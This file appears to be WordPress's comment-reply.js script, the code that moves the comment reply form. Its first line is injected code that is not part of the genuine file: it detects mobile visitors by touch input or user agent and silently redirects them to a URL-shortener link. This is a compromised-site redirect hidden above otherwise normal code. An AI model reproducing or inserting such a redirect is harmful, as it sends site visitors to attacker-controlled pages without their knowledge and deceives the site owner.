1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Handles the addition of the comment form.
4 *
5 * @since 2.7.0
6 * @output wp-includes/js/comment-reply.js
7 *
8 * @namespace addComment
9 *
10 * @type {Object}
11 */
12window.addComment = ( function( window ) {
13 // Avoid scope lookups on commonly used variables.
14 var document = window.document;
15
16 // Settings.
17 var config = {
18 commentReplyClass : 'comment-reply-link',
19 commentReplyTitleId : 'reply-title',
20 cancelReplyId : 'cancel-comment-reply-link',
21 commentFormId : 'commentform',
22 temporaryFormId : 'wp-temp-form-div',
23 parentIdFieldId : 'comment_parent',
24 postIdFieldId : 'comment_post_ID'
25 };
26
27 // Cross browser MutationObserver.
28 var MutationObserver = window.MutationObserver || window.WebKitMutationObserver || window.MozMutationObserver;
29
30 // Check browser cuts the mustard.
31 var cutsTheMustard = 'querySelector' in document && 'addEventListener' in window;
32
33 /*
34 * Check browser supports dataset.
35 * !! sets the variable to true if the property exists.
36 */
37 var supportsDataset = !! document.documentElement.dataset;
38
39 // For holding the cancel element.
40 var cancelElement;
41
42 // For holding the comment form element.
43 var commentFormElement;
44
45 // The respond element.
46 var respondElement;
47
48 // The mutation observer.
49 var observer;
50
51 if ( cutsTheMustard && document.readyState !== 'loading' ) {
52 ready();
53 } else if ( cutsTheMustard ) {
54 window.addEventListener( 'DOMContentLoaded', ready, false );
55 }
56
57 /**
58 * Sets up object variables after the DOM is ready.
59 *
60 * @since 5.1.1
61 */
62 function ready() {
63 // Initialize the events.
64 init();
65
66 // Set up a MutationObserver to check for comments loaded late.
67 observeChanges();
68 }
69
70 /**
71 * Add events to links classed .comment-reply-link.
72 *
73 * Searches the context for reply links and adds the JavaScript events
74 * required to move the comment form. To allow for lazy loading of
75 * comments this method is exposed as window.commentReply.init().
76 *
77 * @since 5.1.0
78 *
79 * @memberOf addComment
80 *
81 * @param {HTMLElement} context The parent DOM element to search for links.
82 */
83 function init( context ) {
84 if ( ! cutsTheMustard ) {
85 return;
86 }
87
88 // Get required elements.
89 cancelElement = getElementById( config.cancelReplyId );
90 commentFormElement = getElementById( config.commentFormId );
91
92 // No cancel element, no replies.
93 if ( ! cancelElement ) {
94 return;
95 }
96
97 cancelElement.addEventListener( 'touchstart', cancelEvent );
98 cancelElement.addEventListener( 'click', cancelEvent );
99
100 // Submit the comment form when the user types [Ctrl] or [Cmd] + [Enter].
101 var submitFormHandler = function( e ) {
102 if ( ( e.metaKey || e.ctrlKey ) && e.keyCode === 13 && document.activeElement.tagName.toLowerCase() !== 'a' ) {
103 commentFormElement.removeEventListener( 'keydown', submitFormHandler );
104 e.preventDefault();
105 // The submit button ID is 'submit' so we can't call commentFormElement.submit(). Click it instead.
106 commentFormElement.submit.click();
107 return false;
108 }
109 };
110
111 if ( commentFormElement ) {
112 commentFormElement.addEventListener( 'keydown', submitFormHandler );
113 }
114
115 var links = replyLinks( context );
116 var element;
117
118 for ( var i = 0, l = links.length; i < l; i++ ) {
119 element = links[i];
120
121 element.addEventListener( 'touchstart', clickEvent );
122 element.addEventListener( 'click', clickEvent );
123 }
124 }
125
126 /**
127 * Return all links classed .comment-reply-link.
128 *
129 * @since 5.1.0
130 *
131 * @param {HTMLElement} context The parent DOM element to search for links.
132 *
133 * @return {HTMLCollection|NodeList|Array}
134 */
135 function replyLinks( context ) {
136 var selectorClass = config.commentReplyClass;
137 var allReplyLinks;
138
139 // childNodes is a handy check to ensure the context is a HTMLElement.
140 if ( ! context || ! context.childNodes ) {
141 context = document;
142 }
143
144 if ( document.getElementsByClassName ) {
145 // Fastest.
146 allReplyLinks = context.getElementsByClassName( selectorClass );
147 }
148 else {
149 // Fast.
150 allReplyLinks = context.querySelectorAll( '.' + selectorClass );
151 }
152
153 return allReplyLinks;
154 }
155
156 /**
157 * Cancel event handler.
158 *
159 * @since 5.1.0
160 *
161 * @param {Event} event The calling event.
162 */
163 function cancelEvent( event ) {
164 var cancelLink = this;
165 var temporaryFormId = config.temporaryFormId;
166 var temporaryElement = getElementById( temporaryFormId );
167
168 if ( ! temporaryElement || ! respondElement ) {
169 // Conditions for cancel link fail.
170 return;
171 }
172
173 getElementById( config.parentIdFieldId ).value = '0';
174
175 // Move the respond form back in place of the temporary element.
176 var headingText = temporaryElement.textContent;
177 temporaryElement.parentNode.replaceChild( respondElement, temporaryElement );
178 cancelLink.style.display = 'none';
179
180 var replyHeadingElement = getElementById( config.commentReplyTitleId );
181 var replyHeadingTextNode = replyHeadingElement && replyHeadingElement.firstChild;
182 var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling;
183
184 if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE && headingText ) {
185 if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) {
186 replyLinkToParent.style.display = '';
187 }
188
189 replyHeadingTextNode.textContent = headingText;
190 }
191
192 event.preventDefault();
193 }
194
195 /**
196 * Click event handler.
197 *
198 * @since 5.1.0
199 *
200 * @param {Event} event The calling event.
201 */
202 function clickEvent( event ) {
203 var replyNode = getElementById( config.commentReplyTitleId );
204 var defaultReplyHeading = replyNode && replyNode.firstChild.textContent;
205 var replyLink = this,
206 commId = getDataAttribute( replyLink, 'belowelement' ),
207 parentId = getDataAttribute( replyLink, 'commentid' ),
208 respondId = getDataAttribute( replyLink, 'respondelement' ),
209 postId = getDataAttribute( replyLink, 'postid' ),
210 replyTo = getDataAttribute( replyLink, 'replyto' ) || defaultReplyHeading,
211 follow;
212
213 if ( ! commId || ! parentId || ! respondId || ! postId ) {
214 /*
215 * Theme or plugin defines own link via custom `wp_list_comments()` callback
216 * and calls `moveForm()` either directly or via a custom event hook.
217 */
218 return;
219 }
220
221 /*
222 * Third party comments systems can hook into this function via the global scope,
223 * therefore the click event needs to reference the global scope.
224 */
225 follow = window.addComment.moveForm( commId, parentId, respondId, postId, replyTo );
226 if ( false === follow ) {
227 event.preventDefault();
228 }
229 }
230
231 /**
232 * Creates a mutation observer to check for newly inserted comments.
233 *
234 * @since 5.1.0
235 */
236 function observeChanges() {
237 if ( ! MutationObserver ) {
238 return;
239 }
240
241 var observerOptions = {
242 childList: true,
243 subtree: true
244 };
245
246 observer = new MutationObserver( handleChanges );
247 observer.observe( document.body, observerOptions );
248 }
249
250 /**
251 * Handles DOM changes, calling init() if any new nodes are added.
252 *
253 * @since 5.1.0
254 *
255 * @param {Array} mutationRecords Array of MutationRecord objects.
256 */
257 function handleChanges( mutationRecords ) {
258 var i = mutationRecords.length;
259
260 while ( i-- ) {
261 // Call init() once if any record in this set adds nodes.
262 if ( mutationRecords[ i ].addedNodes.length ) {
263 init();
264 return;
265 }
266 }
267 }
268
269 /**
270 * Backward compatible getter of data-* attribute.
271 *
272 * Uses element.dataset if it exists, otherwise uses getAttribute.
273 *
274 * @since 5.1.0
275 *
276 * @param {HTMLElement} Element DOM element with the attribute.
277 * @param {string} Attribute the attribute to get.
278 *
279 * @return {string}
280 */
281 function getDataAttribute( element, attribute ) {
282 if ( supportsDataset ) {
283 return element.dataset[attribute];
284 }
285 else {
286 return element.getAttribute( 'data-' + attribute );
287 }
288 }
289
290 /**
291 * Get element by ID.
292 *
293 * Local alias for document.getElementById.
294 *
295 * @since 5.1.0
296 *
297 * @param {HTMLElement} The requested element.
298 */
299 function getElementById( elementId ) {
300 return document.getElementById( elementId );
301 }
302
303 /**
304 * Moves the reply form from its current position to the reply location.
305 *
306 * @since 2.7.0
307 *
308 * @memberOf addComment
309 *
310 * @param {string} addBelowId HTML ID of element the form follows.
311 * @param {string} commentId Database ID of comment being replied to.
312 * @param {string} respondId HTML ID of 'respond' element.
313 * @param {string} postId Database ID of the post.
314 * @param {string} replyTo Form heading content.
315 */
316 function moveForm( addBelowId, commentId, respondId, postId, replyTo ) {
317 // Get elements based on their IDs.
318 var addBelowElement = getElementById( addBelowId );
319 respondElement = getElementById( respondId );
320
321 // Get the hidden fields.
322 var parentIdField = getElementById( config.parentIdFieldId );
323 var postIdField = getElementById( config.postIdFieldId );
324 var element, cssHidden, style;
325
326 var replyHeading = getElementById( config.commentReplyTitleId );
327 var replyHeadingTextNode = replyHeading && replyHeading.firstChild;
328 var replyLinkToParent = replyHeadingTextNode && replyHeadingTextNode.nextSibling;
329
330 if ( ! addBelowElement || ! respondElement || ! parentIdField ) {
331 // Missing key elements, fail.
332 return;
333 }
334
335 if ( 'undefined' === typeof replyTo ) {
336 replyTo = replyHeadingTextNode && replyHeadingTextNode.textContent;
337 }
338
339 addPlaceHolder( respondElement );
340
341 // Set the value of the post.
342 if ( postId && postIdField ) {
343 postIdField.value = postId;
344 }
345
346 parentIdField.value = commentId;
347
348 cancelElement.style.display = '';
349 addBelowElement.parentNode.insertBefore( respondElement, addBelowElement.nextSibling );
350
351 if ( replyHeadingTextNode && replyHeadingTextNode.nodeType === Node.TEXT_NODE ) {
352 if ( replyLinkToParent && 'A' === replyLinkToParent.nodeName && replyLinkToParent.id !== config.cancelReplyId ) {
353 replyLinkToParent.style.display = 'none';
354 }
355
356 replyHeadingTextNode.textContent = replyTo;
357 }
358
359 /*
360 * This is for backward compatibility with third party commenting systems
361 * hooking into the event using older techniques.
362 */
363 cancelElement.onclick = function() {
364 return false;
365 };
366
367 // Focus on the first field in the comment form.
368 try {
369 for ( var i = 0; i < commentFormElement.elements.length; i++ ) {
370 element = commentFormElement.elements[i];
371 cssHidden = false;
372
373 // Get elements computed style.
374 if ( 'getComputedStyle' in window ) {
375 // Modern browsers.
376 style = window.getComputedStyle( element );
377 } else if ( document.documentElement.currentStyle ) {
378 // IE 8.
379 style = element.currentStyle;
380 }
381
382 /*
383 * For display none, do the same thing jQuery does. For visibility,
384 * check the element computed style since browsers are already doing
385 * the job for us. In fact, the visibility computed style is the actual
386 * computed value and already takes into account the element ancestors.
387 */
388 if ( ( element.offsetWidth <= 0 && element.offsetHeight <= 0 ) || style.visibility === 'hidden' ) {
389 cssHidden = true;
390 }
391
392 // Skip form elements that are hidden or disabled.
393 if ( 'hidden' === element.type || element.disabled || cssHidden ) {
394 continue;
395 }
396
397 element.focus();
398 // Stop after the first focusable element.
399 break;
400 }
401 }
402 catch(e) {
403
404 }
405
406 /*
407 * false is returned for backward compatibility with third party commenting systems
408 * hooking into this function.
409 */
410 return false;
411 }
412
413 /**
414 * Add placeholder element.
415 *
416 * Places a place holder element above the #respond element for
417 * the form to be returned to if needs be.
418 *
419 * @since 2.7.0
420 *
421 * @param {HTMLelement} respondElement the #respond element holding comment form.
422 */
423 function addPlaceHolder( respondElement ) {
424 var temporaryFormId = config.temporaryFormId;
425 var temporaryElement = getElementById( temporaryFormId );
426 var replyElement = getElementById( config.commentReplyTitleId );
427 var initialHeadingText = replyElement ? replyElement.firstChild.textContent : '';
428
429 if ( temporaryElement ) {
430 // The element already exists, no need to recreate.
431 return;
432 }
433
434 temporaryElement = document.createElement( 'div' );
435 temporaryElement.id = temporaryFormId;
436 temporaryElement.style.display = 'none';
437 temporaryElement.textContent = initialHeadingText;
438 respondElement.parentNode.insertBefore( temporaryElement, respondElement );
439 }
440
441 return {
442 init: init,
443 moveForm: moveForm
444 };
445})( window );
446